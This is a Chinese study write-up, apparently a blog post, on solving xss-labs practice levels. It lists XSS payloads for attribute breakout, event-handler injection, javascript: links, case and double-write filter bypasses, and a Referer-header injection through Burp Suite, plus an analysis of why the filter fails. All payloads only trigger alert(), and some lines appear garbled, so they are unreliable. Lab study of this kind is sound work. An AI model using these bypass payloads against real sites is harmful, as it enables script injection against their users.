这里写目录标题
- 靶场环境部署
- 用到的payload
- 方法集锦
- 基本思路,先插再说
- 如下如何绕过
- **1. 过滤机制分析**
- **2. 为什么 `'οnmοusemοve='alert(/a/)'` 能绕过?**
- **3. XSS 触发流程**
- **4. 其他可能的绕过方式**
- **5. 结论**
- html编码绕过
- 参数不合法
- HTTP_REFERER
- 抓包
- 增加payload构造请求
靶场环境部署
- phpstudy(网页运行环境)
- xss-libs
用到的payload
jankin<script> alert('a')</script>
jankin"><script>alert('a') </script>//
jankin'onmousemove='alert(/a/)'"
jankin"onmousemove='alert(/a/)' <!-- 属性事件执行js-->'"><
"><a href="javascript:alert('1')">jankin</a>" <!-- 超链接 构造伪协议执行js-->"><a Href="javascript:alert('1')"> jankin</a>" <!-- 大小写绕过执行js-->"><a hrhrefef="javascripscriptt:alert('1')"> jankin</a>" <!-- 双写绕过执行js-->javascript:alert('1') <!--javascript:alert('1')的html编码绕过-->javascri pt:alert('1')//http:// <!-- 检测是否存在关键字 加入关键字 绕过执行js-->t_sort='"onmousemove='alert(/1/)' type="text"// <!--隐藏的参数寻找,表单隐藏属性-->
方法集锦
基本思路,先插再说
- 找到含有的html位置
- 元素闭合绕过
如下如何绕过
事件属性
你使用的绕过方式:
'onmousemove='alert(/a/)'"
成功触发了 XSS,说明原有的过滤机制存在漏洞,下面是详细分析。
1. 过滤机制分析
你的输入:
<script>alert('a')</script>
被服务器处理后变成:
<input name="keyword" value="<script>alert(" a')<="" script>'="">
说明:
<script>
被保留,但>
被转义成>
,这表明服务器可能是 基于 HTML 转义 来防止 XSS,而不是彻底移除<script>
标签。alert('a')
变成alert(" a')
,说明服务器在处理 单引号'
和双引号"
时有问题。- 输入内容嵌入到
value="..."
里,所以 突破value="..."
的限制 可能是绕过的关键。
2. 为什么 'onmousemove='alert(/a/)'
能绕过?
你的最终 XSS 代码:
'onmousemove='alert(/a/)'"
分析:
- 由于服务器错误地解析 单引号
'
和双引号"
,我们可以人为地闭合value="..."
的引号,然后插入一个新的 HTML 事件。 - 在
<input>
标签中,onmousemove
是一个合法的 鼠标移动事件,可以触发alert(/a/)
。 alert(/a/)
而不是alert('a')
的原因:- 某些 WAF 可能会拦截
alert('a')
,但不会拦截alert(/a/)
,因为 正则表达式/a/
不是常见的 XSS payload,从而绕过了过滤。
- 某些 WAF 可能会拦截
3. XSS 触发流程
假设最终的 HTML 结构变成:
<input name="keyword" value="X" onmousemove="alert(/a/)">
- 用户鼠标移动到
input
框上 时,触发onmousemove
,执行alert(/a/)
,从而成功执行 XSS。
4. 其他可能的绕过方式
如果 onmousemove
被拦截,可以尝试:
'onfocus='alert(1)' autofocus="
- 这里
autofocus
让input
框在页面加载时自动获得焦点,触发onfocus="alert(1)"
。
如果事件属性受到严格过滤,可以尝试:
" onclick="eval('alert(1)')"
或者:
<img src=x onerror="alert(1)">
5. 结论
- 你的绕过方式
onmousemove='alert(/a/)'
成功的关键在于:- 错误闭合
value="..."
的引号,让onmousemove
变成了新的 HTML 事件。 - 使用
alert(/a/)
而不是alert('a')
避免 WAF 拦截。 - 事件
onmousemove
不受过滤,可以直接执行 JavaScript 代码。
- 错误闭合
这说明:
- 服务器的 XSS 过滤机制基于 HTML 转义,但对 引号解析和事件注入处理不当,导致绕过成功。
- 攻击者可以通过引号闭合 + 事件属性注入 + 变种
alert()
形式绕过防护。
如果需要更进一步的绕过方式,可以继续测试 其他 HTML 事件(如 onmouseover
、onfocus
),以及 更隐蔽的 payload(如 eval()
或 setTimeout()
)。
html编码绕过
html编码会被前端自动识别,前端会自动识别
参数不合法
HTTP_REFERER
抓包
增加payload构造请求
Referer:'"onmousemove='alert(/1/)' type="text"//
复制出
http://burpsuite/repeat/1/a2x5lukxe71j8vfq4uaoowsifeffj7we
关掉抓包,访问http://localhost/level11.php?keyword=good%20job!,然后访问http://burpsuite/repeat/1/a2x5lukxe71j8vfq4uaoowsifeffj7we
就会ok